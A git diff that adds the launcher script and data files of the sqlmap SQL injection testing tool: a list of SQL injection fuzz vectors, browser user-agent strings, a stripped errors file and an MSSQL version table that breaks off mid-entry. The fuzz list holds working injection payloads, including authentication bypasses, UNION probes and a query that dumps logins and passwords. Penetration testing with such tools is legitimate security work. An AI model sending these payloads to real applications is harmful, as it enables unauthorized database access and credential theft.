--git a/sqlmap.py b/sqlmap.py new file mode 100755 index 000000000..3ac1eb350 --- /dev/null +++ b/sqlmap.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +$Id: sqlmap.py 315 2008-08-03 22:10:27Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. + and Daniele Bellucci + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import os +import sys +import time +import traceback + +from lib.controller.controller import start +from lib.core.common import banner +from lib.core.common import setPaths +from lib.core.common import weAreFrozen +from lib.core.data import conf +from lib.core.data import logger +from lib.core.data import paths +from lib.core.exception import exceptionsTuple +from lib.core.exception import unhandledException +from lib.core.option import init +from lib.parse.cmdline import cmdLineParser + + +def modulePath(): + """ + This will get us the program's directory, even if we are frozen + using py2exe + """ + + if weAreFrozen(): + return os.path.dirname(unicode(sys.executable, sys.getfilesystemencoding())) + else: + return os.path.dirname(os.path.realpath(__file__)) + + +def main(): + """ + Main function of sqlmap when running from command line. + """ + + paths.SQLMAP_ROOT_PATH = modulePath() + setPaths() + + banner() + cmdLineOptions = cmdLineParser() + + print "[*] starting at: %s\n" % time.strftime("%X") + + try: + init(cmdLineOptions) + + if conf.start: + start() + except exceptionsTuple, e: + logger.error(e) + except KeyboardInterrupt: + print + errMsg = "user aborted" + logger.error(errMsg) + except EOFError: + print + errMsg = "exit" + logger.error(errMsg) + except: + errMsg = unhandledException() + logger.error(errMsg) + traceback.print_exc() + + print "\n[*] shutting down at: %s\n" % time.strftime("%X") + + +if __name__ == "__main__": + main() diff --git a/txt/fuzz_vectors.txt b/txt/fuzz_vectors.txt new file mode 100644 index 000000000..428e2ef9a --- /dev/null +++ b/txt/fuzz_vectors.txt @@ -0,0 +1,51 @@ +'||(elt(-3+5,bin(15),ord(10),hex(char(45)))) +||6 +'||'6 +(||6) +' OR 1=1-- +OR 1=1 +' OR '1'='1 +; OR '1'='1' +%22+or+isnull%281%2F0%29+%2F* +%27+OR+%277659%27%3D%277659 +%22+or+isnull%281%2F0%29+%2F* +%27+--+ +' or 1=1-- +" or 1=1-- +' or 1=1 /* +or 1=1-- +' or 'a'='a +" or "a"="a +') or ('a'='a +Admin' OR ' +'%20SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES-- +) UNION SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES; +' having 1=1-- +' having 1=1-- +' group by userid having 1=1-- +' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = tablename')-- +' or 1 in (select @@version)-- +' union all select @@version-- +' OR 'unusual' = 'unusual' +' OR 'something' = 'some'+'thing' +' OR 'text' = N'text' +' OR 'something' like 'some%' +' OR 2 > 1 +' OR 'text' > 't' +' OR 'whatever' in ('whatever') +' OR 2 BETWEEN 1 and 3 +' or username like char(37); +' union select * from users where login = char(114,111,111,116); +' union select +Password:*/=1-- +UNI/**/ON SEL/**/ECT +'; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER' +'; EXEC ('SEL' + 'ECT US' + 'ER') +'/**/OR/**/1/**/=/**/1 +' or 1/* ++or+isnull%281%2F0%29+%2F* +%27+OR+%277659%27%3D%277659 +%22+or+isnull%281%2F0%29+%2F* +%27+--+&password= +'; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login > + @var select @var as var into temp end -- diff --git a/txt/user-agents.txt b/txt/user-agents.txt new file mode 100644 index 000000000..798a8ca1d --- /dev/null +++ b/txt/user-agents.txt @@ -0,0 +1,166 @@ +Accoona-AI-Agent/1.1.2 (aicrawler at accoonabot dot com) +Baiduspider ( http://www.baidu.com/search/spider.htm) +curl/7.13.1 (powerpc-apple-darwin8.0) libcurl/7.13.1 OpenSSL/0.9.7b zlib/1.2.2 +GameSpyHTTP/1.0 +Gigabot/2.0 +Googlebot-Image/1.0 +Googlebot/2.1 (+http://www.google.com/bot.html) +Jigsaw/2.2.5 W3C_CSS_Validator_JFouffa/2.0 +Links (0.99pre14; CYGWIN_NT-5.0 1.5.16(0.128/4/2) i686; 80x25) +Links (2.1pre17; Linux 2.6.11-gentoo-r8 i686; 80x24) +Links (2.1pre19; Linux 2.6.14-gentoo-r5 i686; x) +Lynx/2.8.4rel.1 libwww-FM/2.14 +Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8a +Microsoft Internet Explorer/4.0b1 (Windows 95) +Mozilla/1.1 (compatible; MSPIE 2.0; Windows CE) +Mozilla/1.22 (compatible; MSIE 1.5; Windows NT) +Mozilla/1.22 (compatible; MSIE 2.0; Windows 95) +Mozilla/2.0 (compatible; Ask Jeeves/Teoma) +Mozilla/2.0 (compatible; MSIE 3.01; Windows 98) +Mozilla/3.0 (OS/2; U) +Mozilla/3.0 (Slurp/si; slurp@inktomi.com; http://www.inktomi.com/slurp.html) +Mozilla/3.0 (X11; I; SunOS 5.4 sun4m) +Mozilla/4.0 (compatible; grub-client-1.4.3; Crawl your own stuff with http://grub.org) Mozilla/4.0 (compatible; grub-client-2.3) +Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320) +Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone; 176x220) +Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone; 240x320) +Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) +Mozilla/4.0 (compatible; MSIE 5.0; Mac_PowerPC) Opera 6.0 [en] +Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9 sun4u; X11) +Mozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.03 [en] +Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC) +Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC) +Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0) +Mozilla/4.0 (compatible; MSIE 6.0; ; Linux armv5tejl; U) Opera 8.02 [en_US] Maemo browser 0.4.31 N770/SU-18 +Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.1; Windows NT 5.1;) +Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1;) +Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;) +Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98) +Mozilla/4.0 (compatible; MSIE 6.0; Nitro) Opera 8.50 [en] +Mozilla/4.0 (compatible; MSIE 6.0; Nitro) Opera 8.50 [ja] +Mozilla/4.0 (compatible; MSIE 6.0; Symbian OS; Nokia 6630/4.03.38; 6937) Opera 8.50 [es] +Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile m.n) where +Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; Motorola VIP12xx) +Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322) +Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.50 +Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) +Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727) +Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) +Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215) Netscape/8.0.1 +Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) +Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2) +Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322) +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; Arcor 5.005; .NET CLR 1.0.3705; .NET CLR 1.1.4322) +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.0.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) +Mozilla/4.0 (compatible; MSIE 7.0b; Win32) +Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1) +Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0) +Mozilla/4.61 (Macintosh; I; PPC) +Mozilla/4.61 [en] (OS/2; U) +Mozilla/4.7 (compatible; OffByOne; Windows 2000) +Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1) +Mozilla/4.7C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; I; PPC) +Mozilla/4.8 [en] (Windows NT 5.0; U) +Mozilla/5.0 (compatible; googlebot/2.1; +http://www.google.com/bot.html) +Mozilla/5.0 (compatible; Konqueror/3.1-rc3; i686 Linux; 20020515) +Mozilla/5.0 (compatible; Konqueror/3.1; Linux 2.4.22-10mdk; X11; i686; fr, fr_FR) +Mozilla/5.0 (compatible; Konqueror/3.4; Linux) KHTML/3.4.2 (like Gecko) +Mozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.15-1.2054_FC5; X11; i686; en_US) KHTML/3.5.4 (like Gecko) +Mozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.16-2-k7) KHTML/3.5.0 (like Gecko) (Debian package 4:3.5.0-2bpo2) +Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Debian) +Mozilla/5.0 (compatible; Yahoo! Slurp;http://help.yahoo.com/help/us/ysearch/slurp) +Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1) Gecko/20061024 Firefox/2.0 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.1) Gecko/20060214 Camino/1.0 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.3) Gecko/20060427 Camino/1.0.1 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.4) Gecko/20060613 Camino/1.0.2 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/124 (KHTML, like Gecko) Safari/125 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412 (KHTML, like Gecko) Safari/412 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/521.25 (KHTML, like Gecko) Safari/521.24 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.51 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.8) Gecko/20051107 Camino/1.0b1 +Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.50 +Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0 +Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0 +Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.2) Gecko/20020508 Netscape6/6.1 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.2) Gecko/20040804 Netscape/7.2 (ax) +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20050519 Netscape/8.0.1 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20060127 Netscape/8.1 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060516 SeaMonkey/1.0.2 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.6) Gecko/20060728 SeaMonkey/1.0.4 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20060918 Firefox/2.0 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061003 Firefox/2.0 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a3) Gecko/20060527 BonEcho/2.0a3 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b1) Gecko/20060708 Firefox/2.0b1 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b2) Gecko/20060821 Firefox/2.0b2 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4 +Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 +Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0 +Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8) Gecko/20051107 Firefox/1.5 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.7.13) Gecko/20050610 K-Meleon/0.9 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 +Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0 +Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/20050609 Firefox/1.0.4 +Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/20050929 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060501 Epiphany/2.14 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060626 (Debian-1.8.0.5-3) Epiphany/2.14 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060808 Fedora/1.5.0.6-2.fc5 Firefox/1.5.0.6 pango-text +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060910 SeaMonkey/1.0.5 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060928 (Debian-1.8.0.7-1) Epiphany/2.14 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20061022 Iceweasel/1.5.0.7-g2 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20061031 Firefox/1.5.0.7 Flock/0.7.7 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20061029 SeaMonkey/1.0.6 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20060601 Firefox/2.0 (Ubuntu-edgy) +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061024 Iceweasel/2.0 (Debian-2.0+dfsg-1) +Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Epiphany/2.14 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox +Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.0.1) Gecko/20020920 Netscape/7.0 +msnbot/1.0 (+http://search.msn.com/msnbot.htm) +OmniExplorer_Bot/6.70 (+http://www.omni-explorer.com) WorldIndexer +Opera/2.0.3920 (J2ME/MIDP; Opera Mini; en; U; ssr) +Opera/7.23 (Windows 98; U) [en] +Opera/8.0 (X11; Linux i686; U; cs) +Opera/8.00 (Windows NT 5.1; U; en) +Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4062; en; U; ssr) +Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4509/1316; fi; U; ssr) +Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4719; en; U; ssr) +Opera/8.02 (Qt embedded; Linux armv4ll; U) [en] SONY/COM1 +Opera/8.02 (Windows NT 5.1; U; en) +Opera/8.5 (X11; Linux i686; U; cs) +Opera/8.50 (Windows NT 5.1; U; en) +Opera/8.51 (Windows NT 5.1; U; en) +Opera/9.0 (Windows NT 5.0; U; en) +Opera/9.00 (Macintosh; PPC Mac OS X; U; en) +Opera/9.00 (Wii; U; ; 1038-58; Wii Shop Channel/1.0; en) +Opera/9.00 (Windows NT 5.1; U; en) +Opera/9.00 (Windows NT 5.2; U; en) +Opera/9.00 (Windows NT 6.0; U; en) +Opera/9.01 (X11; Linux i686; U; en) +Opera/9.02 (Windows NT 5.1; U; en) +Scooter-3.2.EX +W3C_Validator/1.432.2.10 +Wget/1.9 +Yahoo!-MMCrawler/3.x (mms dash mmcrawler dash support at yahoo dash inc dot com) diff --git a/xml/errors.xml b/xml/errors.xml new file mode 100644 index 000000000..9e050f9c3 --- /dev/null +++ b/xml/errors.xml @@ -0,0 +1,62 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/xml/mssql.xml b/xml/mssql.xml new file mode 100644 index 000000000..e5a6c3628 --- /dev/null +++ b/xml/mssql.xml @@ -0,0 +1,3443 @@ + + + + + + 10.00.1750 + + + +Q956718 + + + + + 10.0.1600.22 + + + 0 + + + + + 10.00.1300.13 + + + February CTP + + + + + 10.00.1049.14 + + + July CTP + + + + + 10.00.1019.17 + + + June CTP + + + + + + + 9.00.3282 + + + 2+Q953752 + + + + + 9.00.3260 + + + 2+Q954950 + + + + + 9.00.3259 + + + 2+Q954669 + + + + + 9.00.3257 + + + 2+Q951217 + + + + + 9.00.3253 + + + 2+Q954054 + + + + + 9.00.3244 + + + 2+Q952330 + + + + + 9.00.3240 + + + 2+Q951204 + + + + + 9.00.3239 + + + 2+Q949095 + + + + + 9.00.3235 + + + 2+Q950189 + + + + + 9.00.3232 + + + 2+Q949959 + + + + + 9.00.3231 + + + 2+Q949687 + + + + + 9.00.3230 + + + 2+Q949199 + + + + + 9.00.3228 + + + 2+Q946608 + + + + + 9.00.3224 + + + 2+Q947463 + + + + + 9.00.3222 + + + 2+Q945640 + + + + + 9.00.3221 + + + 2+Q942908 + + + + + 9.00.3215 + + + 2+Q941450 + + + + + 9.00.3209 + + + 2 + + + + + 9.00.3208 + + + 2+Q944902 + + + + + 9.00.3206 + + + 2+Q944677 + + + + + 9.00.3205 + + + 2 + + + + + 9.00.3203 + + + 2 + + + + + 9.00.3200 + + + 2+Q941450 + + + + + 9.00.3195 + + + 2 + + + + + 9.00.3194 + + + 2+Q940933 + + + + + 9.00.3186 + + + 2+Q939562 + + + + + 9.00.3182 + + + 2+Q940128 + + + + + 9.00.3180 + + + 2+Q939942 + + + + + 9.00.3179 + + + 2+Q938243 + + + + + 9.00.3178 + + + 2 + + + + + 9.00.3177 + + + 2+Q939563 + + + + + 9.00.3175 + + + 2+Q936305 + + + + + 9.00.3171 + + + 2+Q937745 + + + + + 9.00.3169 + + + 2+Q937041 + + + + + 9.00.3166 + + + 2+Q936185 + + + + + 9.00.3162 + + + 2+Q932610 + + + + + 9.00.3161 + + + 2+Q935356 + + + + + 9.00.3159 + + + 2+Q934459 + + + + + 9.00.3156 + + + 2+Q934226 + + + + + 9.00.3155 + + + 2+Q933549 + + + + + 9.00.3154 + + + 2+Q934106 + + + + + 9.00.3153 + + + 2+Q933564 + + + + + 9.00.3152 + + + 2+Q933097 + + + + + 9.00.3054 + + + 2+Q934458 + + + + + 9.00.3050 + + + 2+Q933508 + + + + + 9.00.3043 + + + 2+Q933508 + + + + + 9.00.3042 + + + 'Fixed' 2 + + + + + 9.00.3033 + + + 2 CTP + + + + + 9.00.3027 + + + 2 CTP + + + + + 9.00.3026 + + + 1+Q929376 + + + + + 9.00.2249 + + + 1+Q948344 + + + + + 9.00.2245 + + + 1+Q933573 + + + + + 9.00.2243 + + + 1+Q944968 + + + + + 9.00.2242 + + + 1+Q943389 + + + + + 9.00.2239 + + + 1+Q940961 + + + + + 9.00.2237 + + + 1+Q940719 + + + + + 9.00.2236 + + + 1+Q940287 + + + + + 9.00.2234 + + + 1+Q937343 + + + + + 9.00.2233 + + + 1+Q933499 + + + + + 9.00.2232 + + + 1+Q937277 + + + + + 9.00.2231 + + + 1+Q934812 + + + + + 9.00.2230 + + + 1+Q936179 + + + + + 9.00.2229 + + + 1+Q935446 + + + + + 9.00.2227 + + + 1+Q934066 + + + + + 9.00.2226 + + + 1+Q933762 + + + + + 9.00.2224 + + + 1+Q932990 + + + + + 9.00.2223 + + + 1+Q932393 + + + + + 9.00.2221 + + + 1+Q931593 + + + + + 9.00.2219 + + + 1+Q931329 + + + + + 9.00.2218 + + + 1+Q931843 + + + + + 9.00.2216 + + + 1+Q931821 + + + + + 9.00.2215 + + + 1+Q931666 + + + + + 9.00.2214 + + + 1+Q929240 + + + + + 9.00.2211 + + + 1+Q930283 + + + + + 9.00.2209 + + + 1+Q929278 + + + + + 9.00.2208 + + + 1+Q929179 + + + + + 9.00.2207 + + + 1+Q928394< + + + + + 9.00.2206 + + + 1+Q928539 + + + + + 9.00.2202 + + + 1+Q927643 + + + + + 9.00.2201 + + + 1+Q927289 + + + + + 9.00.2198 + + + 1+Q926773 + + + + + 9.00.2196 + + + 1+Q926285 + + + + + 9.00.2195 + + + 1+Q926240 + + + + + 9.00.2194 + + + 1+Q925744 + + + + + 9.00.2192 + + + 1+Q924954 + + + + + 9.00.2191 + + + 1+Q925135 + + + + + 9.00.2190 + + + 1+Q925227 + + + + + 9.00.2189 + + + 1+Q925153 + + + + + 9.00.2187 + + + 1+Q923849 + + + + + 9.00.2183 + + + 1+Q929404 + + + + + 9.00.2181 + + + 1+Q923624 + + + + + 9.00.2176 + + + 1+Q923296 + + + + + 9.00.2175 + + + 1+Q922578 + + + + + 9.00.2174 + + + 1+Q922063 + + + + + 9.00.2167 + + + 1+Q920974 + + + + + 9.00.2164 + + + 1+Q919636 + + + + + 9.00.2156 + + + 1+Q919611 + + + + + 9.00.2153 + + + 1+builds 1531 + + + + + 9.00.2050 + + + 1+.NET Vulnerability fix + + + + + 9.00.2047 + + + 1 0 + + + + + 9.00.2040 + + + 1 CTP + + + + + 9.00.2029 + + + 1 Beta + + + + + 9.00.1561 + + + 0+Q932556 + + + + + 9.00.1558 + + + 0+Q926493 + + + + + 9.00.1554 + + + 0+Q926292 + + + + + 9.00.1551 + + + 0+Q922804 + + + + + 9.00.1550 + + + 0+Q917887 + + + + + 9.00.1547 + + + 0+Q918276 + + + + + 9.00.1545 + + + 0+Q917905 + + + + + 9.00.1541 + + + 0+Q917888 + + + + + 9.00.1539 + + + 0+Q917738 + + + + + 9.00.1538 + + + 0+Q917824 + + + + + 9.00.1536 + + + 0+Q917016 + + + + + 9.00.1534 + + + 0+Q916706 + + + + + 9.00.1533 + + + 0+Q916086 + + + + + 9.00.1532 + + + 0+Q916046 + + + + + 9.00.1531 + + + 0+Q915918 + + + + + 9.00.1528 + + + 0+Q915112 + + + + + 9.00.1519 + + + 0+Q913494 + + + + + 9.00.1518 + + + 0+Q912472 + + + + + 9.00.1514 + + + 0+Q912471 + + + + + 9.00.1503 + + + 0+Q911662 + + + + + 9.00.1502 + + + 0+Q915793 + + + + + 9.00.1500 + + + 0+Q910416 + + + + + 9.00.1406 + + + 0+Q932557 + + + + + 9.00.1399 + + + 0 + + + + + 9.00.1314 + + + September CTP Release + + + + + 9.00.1187 + + + June CTP Release + + + + + 9.00.1116 + + + April CTP Release + + + + + 9.00.1090 + + + March CTP Release + + + + + 9.00.981 + + + December CTP Release + + + + + 9.00.951 + + + October CTP Release + + + + + 9.00.917 + + + Internal build + + + + + 9.00.852 + + + Beta 2 + + + + + 9.00.849 + + + Internal build + + + + + 9.00.844 + + + Internal build + + + + + 9.00.836 + + + Express Ed. Tech Preview + + + + + 9.00.823 + + + Internal build + + + + + 9.00.790 + + + Internal build + + + + + 9.00.767 + + + Internal build + + + + + 9.00.747 + + + Internal build + + + + + 9.00.645 + + + MS Internal + + + + + 9.00.608 + + + Beta 1 + + + + + + + 7.00.1152 + + + 4+Q941203 + + + + + 7.00.1150 + + + 4+Q891116 + + + + + 7.00.1144 + + + 4+Q830233 + + + + + 7.00.1143 + + + 4+Q829015 + + + + + 7.00.1097 + + + 4+Q822756 + + + + + 7.00.1094 + + + 4+Q815495 + + + + + 7.00.1079 + + + 329499 + + + + + 7.00.1078 + + + 4+Q327068 + + + + + 7.00.1077 + + + 4+Q316333 + + + + + 7.00.1063 + + + 4 + + + + + 7.00.1033 + + + 3+Q324469 + + + + + 7.00.1026 + + + 3+Q319851 + + + + + 7.00.1004 + + + 3+Q304851 + + + + + 7.00.996 + + + 3+Q299717 + + + + + 7.00.978 + + + 3+Q285870 + + + + + 7.00.977 + + + 3+Q284351 + + + + + 7.00.970 + + + 3+Q283837 + + + + + 7.00.961 + + + 3 + + + + + 7.00.921 + + + 2+Q283837 + + + + + 7.00.919 + + + 2+Q282243 + + + + + 7.00.918 + + + 2+Q280380 + + + + + 7.00.917 + + + 2+Q279180 + + + + + 7.00.910 + + + 2+Q275901 + + + + + 7.00.905 + + + 2+Q274266 + + + + + 7.00.889 + + + 2+Q243741 + + + + + 7.00.879 + + + 2+Q281185 + + + + + 7.00.857 + + + 2+Q260346 + + + + + 7.00.842 + + + 2 + + + + + 7.00.839 + + + 2 Unidentified + + + + + 7.00.835 + + + 2 Beta + + + + + 7.00.776 + + + 1+Q258087 + + + + + 7.00.770 + + + 1+Q252905 + + + + + 7.00.745 + + + 1+Q253738 + + + + + 7.00.722 + + + 1+Q239458 + + + + + 7.00.699 + + + 1 + + + + + 7.00.689 + + + 1 Beta + + + + + 7.00.677 + + + MSDE O2K Dev + + + + + 7.00.662 + + + Gold+Q232707 + + + + + 7.00.658 + + + Gold+Q244763 + + + + + 7.00.657 + + + Gold+Q229875 + + + + + 7.00.643 + + + Gold+Q220156 + + + + + 7.00.623 + + + Gold + + + + + 7.00.583 + + + RC1 + + + + + 7.00.517 + + + Beta 3 + + + + + + + 8.00.2271 + + + 4+Q946584 + + + + + 8.00.2265 + + + 4+Q944985 + + + + + 8.00.2253 + + + 4+Q939317 + + + + + 8.00.2249 + + + 4+Q936232 + + + + + 8.00.2248 + + + 4+Q935950 + + + + + 8.00.2246 + + + 4+Q935465 + + + + + 8.00.2245 + + + 